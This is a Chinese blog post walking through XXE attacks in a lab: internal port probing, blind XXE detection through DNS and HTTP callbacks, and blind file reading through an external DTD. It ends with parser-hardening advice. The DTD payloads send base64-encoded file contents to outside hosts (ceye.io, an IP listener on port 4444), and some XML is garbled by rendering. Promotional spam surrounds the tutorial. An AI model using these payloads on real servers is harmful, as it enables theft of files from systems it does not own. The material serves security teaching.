WEB常见漏洞之XXE(靶场篇)_220 vmware authentication daemon version 1

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新Golang全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip1024b (备注go)
img

正文

2、内网探测

XXE可以访问外部的url,具有和ssrf类似的效果,可以利用xxe进行内网探测
netstat -nao 查看本机端口,选择902端口

DOMDocument::loadXML(http://127.0.0.1:902): failed to open stream: HTTP request failed! 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supp in D:\phpstudy\WWW\test\Bachang\XXE\php_xxe\doLogin.php

探测到了902的VMware服务,XXE的内网探测不像SSRF的内网探测那样强大,挺鸡肋的

3.DDOS攻击

该攻击通过构建一项递归的XML定义,在内存中生成十亿个“abc”字符串,从而导致DDOS攻击。原理为构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击

无回显的XXE漏洞

找了几个靶场没有找到盲注的XXE漏洞,那我们将这题假设为盲注,不看Burp右边的显示
盲注为没有回显的XXE注入,因为没有回显会给我们的判断造成困难,所以我们以以下三种方式判断注入是否成功
前提是需要有一个具有公网ip的主机

1.查看受攻击机的服务器日志2.通过Dnslog平台查看是否进行查询3.Burp Collaborator Everywhere 插件验证

现有两台机器,一台是以BT面板搭建的,具有XXE-lab靶场的CentOS7虚拟机,IP为192.168.1.102

一台是我的windows10主机,以phpstudy搭建而成,IP为192.168.1.101

两台机器可以互通

实验中,我以我的windows主机模拟具有公网ip的主机(因为实战情况下XML解析器只能解析公网ip),通过xxe漏洞读取windows主机上的文件

查看访问日志验证是否具有XXE漏洞查看访问日志验证是否具有XXE漏洞

实验开始:读取公网ip主机中的文件(假设)

1.查看受攻击机的服务器日志

在本题是盲注的情况下右侧返回包中是不存在内容的,而我们要看是否具有XXE漏洞就看是否192.168.1.101的公网ip(假设)上是否收到来自其他主机的访问记录,查看公网ip主机(假设)的apache或nginx访问记录:

可以看到确实收到了受攻击机的访问记录,说明受攻击机解析了XML内容,来访问了我们的公网ip主机(假设是公网ip主机)

基于此,在实战中我们面对盲注时,构造xml内容让其访问我们能够控制的主机,然后查看我们能够控制的主机上是否具有来自受攻击机的访问记录就可确定是否有XML注入。

其实在我们攻击具有XXE漏洞的服务器时,受攻击服务器进行了两次响应,如果查看受攻击的服务器上的日志会发现两条记录:一次是对XML进行解析后对另一台远程服务器的访问,一次是访问服务器自身上具有XXE漏洞的文件。有访问就有回复,另一台我们可以控制的远程服务器上的日志就会记录受攻击服务器的访问记录抛给它一个404.

2.查看DNS解析记录

在攻击中,我们可以使受攻击服务器访问 DNS解析平台——dnslog.cn或ceye.io平台

刷新,可以看到解析记录

说明XML解析成功,访问了74zgsl.dnslog.cn,具有XXE漏洞。

3.利用Burp的Collaborator插件验证

Collaborator插件位于extender模块下的Bapp Store,点击安装即可在左上角打开Collaborator服务器

点击copy to clipboard将随机生成一个url用于测试

将url填入XXE

可以看到Collaborator中收到了DNS解析记录和HTTP访问记录

以上只是说明该服务器具有XXE盲注,而若是要以盲注读取到信息还需要更进一步

盲注读取文件
在我们可以控制的服务器上构造dtd实体

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/READEME.md">``<!ENTITY % int "<!ENTITY % send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">

通过加载服务器下的test.dtd文件,将读取的文件传递给 http://eovpu4.ceye.io/?p=%file(该网址后面有解释)

``%remote;%int;%send;``]>

调用过程解释如下:

%remote请求远程vps上的test.dtd%int调用test.dtd中的%file%file获取被攻击服务器上的敏感文件,并传入%send``%send将数据发送到ceye.io上

也解释以下test.dtd文件中的 % 此处如果直接使用%号,会出现报错:

DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities

%不允许出现在 Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)

解释以下ceye.io,ceye.io平台, 通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,它还可以创建自定义文件作为在线负载。它可以帮助安全研究人员在测试漏洞(例如 SSRF/XXE/RFI/RCE)时收集信息

演示XXE盲注:

在公网ip上上传test.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md">``<!ENTITY % int "<!ENTITY % send SYSTEM 'http://eovpu4.ceye.io/?p=%file;'>">

对XXE服务器进行攻击:

<?xml version="1.0" encoding="utf-8"?>````%remote;%int;%send;``]>

因为是盲注,所以读取到的内容会发送到http://eovpu4.ceye.io/?p=%file的“p”参数中

放包

去ceye.io查看记录,如下图

我们把p参数后的内容放到Burp中进行解码:

一些特殊符号是中文,不用管它。

至此我们成功通过盲注读取到了XXE-lab服务器下的文件。

如果不使用ceye.io平台,则可以把读取到的信息发送到公网ip的一个HTTP监听端口上

payload:

``%remote;%int;%send;``]>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///www/wwwroot/XXE/README.md">``<!ENTITY % int "<!ENTITY % send SYSTEM 'http://39.xxx.xx.xxx:4444?p=%file;'>">

公网服务器上开启监听:

python -m SimpleHTTPServer 4444nc -lvvp 4444

XXE漏洞利用工具


https://github.com/luisfontes19/xxexploiter

XXE危害

危害1:读取任意文件
危害2:执行系统命令
危害3:探测内网端口
危害4:攻击内网网站

0x04 XXE漏洞修复与防御

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

防御方案一:使用开发语言提供的禁用外部实体的方法

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();``dbf.setExpandEntityReferences(false);

Python

from lxml import etree``xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

防御方案二:过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip1024b (备注Go)
[外链图片转存中…(img-Z6V3SQOZ-1713424364010)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值